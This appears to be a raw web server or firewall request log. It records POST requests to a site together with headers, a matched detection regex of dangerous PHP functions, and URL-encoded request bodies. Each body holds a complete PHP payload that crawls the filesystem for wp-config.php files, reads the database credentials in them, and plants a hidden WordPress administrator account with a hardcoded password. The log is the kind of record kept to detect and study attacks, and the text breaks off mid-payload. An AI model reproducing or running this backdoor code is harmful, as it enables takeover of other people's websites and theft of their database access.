Edg\/99.0.1150.30\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-mode:navigate\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\n\nbH=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 11:17:59","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jE:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:12640\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnxHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-mode:navigate\nsec-fetch-site:none\nsec-ch-ua-platform:\"macOS\"\n\njE=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%